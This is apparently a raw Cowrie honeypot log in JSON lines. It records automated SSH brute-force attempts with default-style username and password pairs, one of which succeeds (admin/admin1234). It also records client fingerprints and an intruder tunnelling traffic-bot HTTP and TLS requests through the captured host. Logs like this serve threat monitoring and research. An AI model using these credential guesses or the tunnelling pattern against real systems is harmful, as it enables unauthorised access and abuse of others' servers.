{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:59.861123Z","src_ip":"45.153.34.195","session":"7250f14dc32b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"password","message":"login attempt [claude/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:00.262160Z","src_ip":"45.153.34.195","session":"7250f14dc32b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:01.480860Z","src_ip":"45.153.34.195","session":"7250f14dc32b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":40416,"dst_ip":"10.17.0.5","dst_port":22,"session":"919cf9d71be6","protocol":"ssh","message":"New connection: 45.153.34.195:40416 (10.17.0.5:22) [session: 919cf9d71be6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:02.551691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:02.576028Z","src_ip":"45.153.34.195","session":"919cf9d71be6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:02.667013Z","src_ip":"45.153.34.195","session":"919cf9d71be6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"qwerty","message":"login attempt [debian/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:03.147269Z","src_ip":"45.153.34.195","session":"919cf9d71be6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:04.233862Z","src_ip":"45.153.34.195","session":"919cf9d71be6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":40420,"dst_ip":"10.17.0.5","dst_port":22,"session":"792a8fe7f5a2","protocol":"ssh","message":"New connection: 45.153.34.195:40420 (10.17.0.5:22) [session: 792a8fe7f5a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:05.540252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:05.545032Z","src_ip":"45.153.34.195","session":"792a8fe7f5a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:05.627688Z","src_ip":"45.153.34.195","session":"792a8fe7f5a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser@123","message":"login attempt [azureuser/azureuser@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:05.885066Z","src_ip":"45.153.34.195","session":"792a8fe7f5a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":42694,"dst_ip":"159.203.135.109","dst_port":23,"session":"b17a24ef99d6","protocol":"telnet","message":"New connection: 172.81.62.90:42694 (159.203.135.109:23) [session: b17a24ef99d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:06.382249Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:06.970693Z","src_ip":"45.153.34.195","session":"792a8fe7f5a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":61098,"dst_ip":"10.17.0.5","dst_port":22,"session":"09de803030f3","protocol":"ssh","message":"New connection: 123.27.168.40:61098 (10.17.0.5:22) [session: 09de803030f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:06.996416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:07.000882Z","src_ip":"123.27.168.40","session":"09de803030f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:07.253617Z","src_ip":"123.27.168.40","session":"09de803030f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":40426,"dst_ip":"10.17.0.5","dst_port":22,"session":"855d768d517b","protocol":"ssh","message":"New connection: 45.153.34.195:40426 (10.17.0.5:22) [session: 855d768d517b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:08.529332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:08.534659Z","src_ip":"45.153.34.195","session":"855d768d517b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:08.615038Z","src_ip":"123.27.168.40","session":"09de803030f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:08.625250Z","src_ip":"45.153.34.195","session":"855d768d517b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:08.879084Z","src_ip":"45.153.34.195","session":"855d768d517b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:09.114815Z","session":"09de803030f3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:09.284466Z","session":"09de803030f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:10.121466Z","src_ip":"45.153.34.195","session":"855d768d517b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:10.260680Z","src_ip":"123.27.168.40","session":"09de803030f3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.1.2 Safari/537.86.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=JiNFaExMZmtIIXhLIShxQA%3D%3DKE79ddY2Py3%2BSFN06jr4gZLNXuUtRxTnj4rciDFbM5nugHn1JTvFkRQD%2FTet429j%2FY6F%2FLZuC80KuzWVpxMNApbLrTkqmlm%2BHn03LxCXawEa%2BcQF51cx2vlIe9HHsQ%2BI9RZ7capviZL2oXQYqA1KlywSBo8feL6owDoVBTyqCOJqBor0wJo%2BQO0VSDo5Jp59u2b1Tmt0X440bbcpiwYcoTRi3xeOUkFad6w7Wg31kz6sa4kP6nZZP0insSMCyYLBMrPJP00J7GfbD9XNIubcqCjmA09s%2FmGryJlEZVH%2FvRnHveeqlLmRR5VEKC53hp8AvNF03jFfKymjI%2BSrnIUFzWhXM74el9NyS8kH6QkdNvR1apmdOY%2BlVNh%2Fp%2FnJTDFeWZMrlPA19K%2FpeWVDXzfDA8824W0fXIf4Lb0JVQ20F78B%2FKh2F4hc86CH930IDz%2FQRpzPX%2FoHJ3nybah%2BVFo%2Bq%2FCGMqzDxK01ThVk%2BZUf6ElG5AFVyLi4V586b4viW8Hdn3m0Wd%2F0hdVGUmdG7bVBnlMr8XnWPzuLTCXMEgExgpgsa5opD50kJanyGtpSufhTnoRG6F8fV%2BybySXaiY0X5TjfZZPwOZeqwrkS7EBbPsUeCq156NvCYfgT33pL3Q7ImAJSpXhu0%2Bx5QwtMqMPoPb9UcTs5bgyT5ExP0KGwmOikIv0OEJKDGKg2lsiIV7ykDvJ%2F%2BPznuN7fjxNJxkUx7k%2FSyOo63dbSnpJ2iFhreJYyWouf5FxGdyoGjHMy2TKrGAtFJVWQ%2Ff6WKUh8mVY7biNGfAn%2F0v%2BRl9r%2FlOUe88FxS3iPBkaNIdR0Ik%2FckGOI9798C27j8I%2FZmMrzDJ2tcEzCSY0OjEsVCaCBi1P3mYyeeOqbGZGk2mlgdTwjqa7yhc%2F9i9FEkOBN%2FfSIDYSTqDGjuOi%2F0rMHe1OIZieVgBVTJtjWUR%2BAkYb5nLGc%2FVOH0dNR4kRqsVLL72zG7%2BsuaquSIStFbO20HtReXKfJ%2FQZX3PuOX5yE0TGq9NfjhnxuxyS2A4TXYfa9mU9icdkA0dN%2F5rTjv8kEQlSTRGxqKa4%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.1.2 Safari/537.86.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=JiNFaExMZmtIIXhLIShxQA%3D%3DKE79ddY2Py3%2BSFN06jr4gZLNXuUtRxTnj4rciDFbM5nugHn1JTvFkRQD%2FTet429j%2FY6F%2FLZuC80KuzWVpxMNApbLrTkqmlm%2BHn03LxCXawEa%2BcQF51cx2vlIe9HHsQ%2BI9RZ7capviZL2oXQYqA1KlywSBo8feL6owDoVBTyqCOJqBor0wJo%2BQO0VSDo5Jp59u2b1Tmt0X440bbcpiwYcoTRi3xeOUkFad6w7Wg31kz6sa4kP6nZZP0insSMCyYLBMrPJP00J7GfbD9XNIubcqCjmA09s%2FmGryJlEZVH%2FvRnHveeqlLmRR5VEKC53hp8AvNF03jFfKymjI%2BSrnIUFzWhXM74el9NyS8kH6QkdNvR1apmdOY%2BlVNh%2Fp%2FnJTDFeWZMrlPA19K%2FpeWVDXzfDA8824W0fXIf4Lb0JVQ20F78B%2FKh2F4hc86CH930IDz%2FQRpzPX%2FoHJ3nybah%2BVFo%2Bq%2FCGMqzDxK01ThVk%2BZUf6ElG5AFVyLi4V586b4viW8Hdn3m0Wd%2F0hdVGUmdG7bVBnlMr8XnWPzuLTCXMEgExgpgsa5opD50kJanyGtpSufhTnoRG6F8fV%2BybySXaiY0X5TjfZZPwOZeqwrkS7EBbPsUeCq156NvCYfgT33pL3Q7ImAJSpXhu0%2Bx5QwtMqMPoPb9UcTs5bgyT5ExP0KGwmOikIv0OEJKDGKg2lsiIV7ykDvJ%2F%2BPznuN7fjxNJxkUx7k%2FSyOo63dbSnpJ2iFhreJYyWouf5FxGdyoGjHMy2TKrGAtFJVWQ%2Ff6WKUh8mVY7biNGfAn%2F0v%2BRl9r%2FlOUe88FxS3iPBkaNIdR0Ik%2FckGOI9798C27j8I%2FZmMrzDJ2tcEzCSY0OjEsVCaCBi1P3mYyeeOqbGZGk2mlgdTwjqa7yhc%2F9i9FEkOBN%2FfSIDYSTqDGjuOi%2F0rMHe1OIZieVgBVTJtjWUR%2BAkYb5nLGc%2FVOH0dNR4kRqsVLL72zG7%2BsuaquSIStFbO20HtReXKfJ%2FQZX3PuOX5yE0TGq9NfjhnxuxyS2A4TXYfa9mU9icdkA0dN%2F5rTjv8kEQlSTRGxqKa4%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:10.268918Z","src_ip":"123.27.168.40","session":"09de803030f3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:10.273079Z","src_ip":"123.27.168.40","session":"09de803030f3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1d\\xc3\\xd5\\x84\\xff\\x1d\\xb5\\x04#\\x89\\x03\\x9eqE\\x80\\xbd+#\\xc2\\xf28b55\\xdd\\x13A|r\\x9d\\x0c\\x8b \\xc3u\\xc7\\xeb?\\x93\\x03\\xd1R\\x1a`\\xbaR\\xc5#\\xb8bq\\xfbr\\xab\\x9f-\\x00\\x15\\x19`\\x06@\\x0e_'\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 z\\x15\\x16*\\x033'\\xf3F-\\xb8r<\\xed\\x97\\\\\\xa34\\x98d\\xdc`\\xd1+9!\\x95\\tb\\xe6(v\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1d\\xc3\\xd5\\x84\\xff\\x1d\\xb5\\x04#\\x89\\x03\\x9eqE\\x80\\xbd+#\\xc2\\xf28b55\\xdd\\x13A|r\\x9d\\x0c\\x8b \\xc3u\\xc7\\xeb?\\x93\\x03\\xd1R\\x1a`\\xbaR\\xc5#\\xb8bq\\xfbr\\xab\\x9f-\\x00\\x15\\x19`\\x06@\\x0e_'\\x00 